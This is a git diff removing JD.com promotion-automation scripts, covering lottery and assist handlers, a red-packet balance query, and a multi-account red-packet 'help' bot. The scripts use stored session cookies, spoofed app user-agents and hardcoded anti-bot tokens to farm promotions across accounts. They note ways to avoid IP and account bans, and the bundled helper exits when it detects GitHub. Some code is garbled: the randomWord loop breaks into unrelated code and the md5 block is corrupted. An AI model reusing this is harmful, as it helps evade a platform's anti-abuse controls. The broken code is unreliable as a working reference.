console.log(JSON.stringify(data)); - } - break; - case 'superBrandTaskLottery': - if(data.code === '0' && data.data.bizCode !== 'TK000'){ - $.runFlag = false; - console.log(`抽奖次数已用完`); - }else if(data.code === '0' && data.data.bizCode == 'TK000'){ - if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ - if(data.data.result.rewardComponent.beanList.length >0){ - console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) - } - } - }else{ - $.runFlag = false; - console.log(`抽奖失败`); - } - console.log(JSON.stringify(data)); - break; - - case 'help': - if(data.code === '0' && data.data.bizCode === '0'){ - $.codeInfo.time ++; - console.log(`助力成功`); - }else if (data.code === '0' && data.data.bizCode === '104'){ - $.codeInfo.time ++; - console.log(`已助力过`); - }else if (data.code === '0' && data.data.bizCode === '108'){ - $.canHelp = false; - console.log(`助力次数已用完`); - }else if (data.code === '0' && data.data.bizCode === '103'){ - console.log(`助力已满`); - $.codeInfo.time = 3; - }else if (data.code === '0' && data.data.bizCode === '2001'){ - $.canHelp = false; - console.log(`黑号`); - }else{ - console.log(JSON.stringify(data)); - } - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getRequest(url) { - const headers = { - 'Origin' : `https://pro.m.jd.com`, - 'Cookie' : $.cookie , - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, - 'Host' : `api.m.jd.com`, - 'User-Agent' : UA, - 'Accept-Language' : `zh-cn`, - 'Accept-Encoding' : `gzip, deflate, br` - }; - return {url: url, headers: headers,body:``}; -} - -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_queryRedpacket.ts b/jd_queryRedpacket.ts deleted file mode 100644 index a7c32fcdf..000000000 --- a/jd_queryRedpacket.ts +++ /dev/null @@ -1,59 +0,0 @@ -import {JDHelloWorld, User} from "./TS_JDHelloWorld"; - -class Jd_queryRedpacket extends JDHelloWorld { - constructor() { - super("京东红包"); - } - - async init() { - await this.run(new Jd_queryRedpacket()) - } - - add(arg1: number, arg2: number) { - let r1, r2, m - try { - r1 = arg1.toString().split('.')[1].length - } catch (e) { - r1 = 0 - } - try { - r2 = arg2.toString().split('.')[1].length - } catch (e) { - r2 = 0 - } - m = Math.pow(10, Math.max(r1, r2)) - return parseFloat(((arg1 * m + arg2 * m) / m).toFixed(2)) - } - - async main(user: User) { - let res: any = await this.get(`https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${Date.now()}&sceneval=2&g_login_type=1&g_ty=ls`, { - 'Host': 'm.jingxi.com', - 'Referer': 'https://st.jingxi.com/my/redpacket.shtml', - "Cookie": user.cookie, - 'User-Agent': user.UserAgent - }) - let day: number = new Date().getDay(), jdRed: number = 0, jdRedExp: number = 0, jsRed: number = 0, jsRedExp: number = 0 - for (let j of res.data.useRedInfo?.redList || []) { - console.log(j) - if (j.orgLimitStr.includes('京喜')) { - } else if (j.activityName.includes('极速版')) { - jsRed += j.balance - if (new Date(j.endTime * 1000).getDay() === day) - jsRedExp = this.add(jsRedExp, j.balance) - } else if (j.orgLimitStr.includes('京东健康')) { - } else { - jdRed = this.add(jdRed, j.balance) - if (new Date(j.endTime * 1000).getDay() === day) - jdRedExp = this.add(jdRedExp, j.balance) - } - } - console.log('京东', jdRed, ' 今日过期:', jdRedExp) - console.log('极速', jsRed, ' 今日过期:', jsRedExp) - let msg = `【账号】 ${user.UserName}\n京东红包 ${jdRed}\n今日过期 ${jdRedExp}\n\n` - return { - msg: msg - } - } -} - -new Jd_queryRedpacket().init().then() diff --git a/jd_redPacket_help.js b/jd_redPacket_help.js deleted file mode 100644 index 77b661d62..000000000 --- a/jd_redPacket_help.js +++ /dev/null @@ -1,319 +0,0 @@ -/* -京东全民开红包助力-纯助力 -活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) -助力罗辑 头部ck,目前不助力作者 -helpnum 助力前面ck数量,建议1-3,换景变量支持 HELP_NUM -少并发,防止黑ip -不开红包,只助力,开包的跑一下 jd_redPacket.js -1 1,2,23 * * * jd_redPacket_help.js - */ -const $ = new Env('京东全民开红包助力-纯助力'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -let isLoginInfo = {} -let helpnum=1 -$.redPacketId = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -if (process.env.HELP_NUM && process.env.HELP_NUM != "") { - helpnum = process.env.HELP_NUM; -} -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < helpnum; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.discount = 0; - await redPacket(); - await showMsg(); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.index = i + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.canHelp = true; - $.redPacketId = [...new Set($.redPacketId)]; - if (cookiesArr && cookiesArr.length >= 2) { - console.log(`\n\n自己账号内部互助`); - for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { - console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) - $.max = false; - await jinli_h5assist($.redPacketId[j]); - if ($.max) { - $.redPacketId.splice(j, 1) - j-- - continue - } - } - } - - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function redPacket() { - try { - await h5activityIndex();//查询红包基础信息 - await red();//红包任务(发起助力红包,领取助力红包等) - await h5activityIndex(); - } catch (e) { - $.logErr(e); - } -} -function showMsg() { - console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); -} -async function red() { - $.hasSendNumber = 0; - $.assistants = 0; - $.waitOpenTimes = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; - if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { - for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { - let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] - $.assistants += vo.hasAssistNum - if (vo.packetStatus === 1) { - $.waitOpenTimes += 1 - } - } - } - } - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { - //可发起拆红包活动 - await h5launch(); - } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { - //20001:红包活动正在进行,可拆 - const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; - if (redPacketId) $.redPacketId.push(redPacketId); - console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) - console.log(`当前可拆红包个数:${$.waitOpenTimes}`) - } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { - console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); - } -} - -//助力API -function jinli_h5assist(redPacketId) { - //一个人一天只能助力两次,助力码redPacketId 每天都变 - const body = { - "random":randomString(8), - redPacketId, - "followShop":0, - "sceneid":"JLHBhPageh5", - "log":"42588613~8,~0iuxyee" - }; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 - console.log(`助力结果:${data.data.result.statusDesc}`) - if (data.data.result.status === 2) $.max = true; - if (data.data.result.status === 3) $.canHelp = false; - if (data.data.result.status === 9) $.canHelp = false; - } else { - console.log(`助力异常:${JSON.stringify(data)}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//发起助力红包API -function h5launch() { - const body = { - "random":randomString(8), - "followShop":1, - "sceneid":"JLHBhPageh5", - "log":"4817e3a2~8,~1wsv3ig" - }; - const options = taskUrl(arguments.callee.name.toString(), body) - return new Promise((resolve) => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - if (data && data.data && data.data.biz_code === 0) { - if (data.data.result.redPacketId) { - console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) - $.redPacketId.push(data.data.result.redPacketId); - } else { - console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) - } - } else { - console.log(`发起助力红包 失败:${JSON.stringify(data)}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function h5activityIndex() { - const body = {"clientInfo":{},"isjdapp":1}; - const options = taskUrl(arguments.callee.name.toString(), body); - return new Promise((resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); - console.log(JSON.stringify(err)); - } else { - data = JSON.parse(data); - $.h5activityIndex = data; - $.discount = 0; - if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { - const rewards = $.h5activityIndex.data.result.rewards || []; - for (let item of rewards) { - $.discount += item.packetSum; - } - if ($.discount) $.discount = $.discount.toFixed(2); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function taskUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, - body: `body=${escape(JSON.stringify(body))}`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://happy.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie, - "Connection": "keep-alive", - "Accept": "*/*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", - "Content-Length": "56", - "Accept-Language": "zh-cn" - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// md5 -!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let 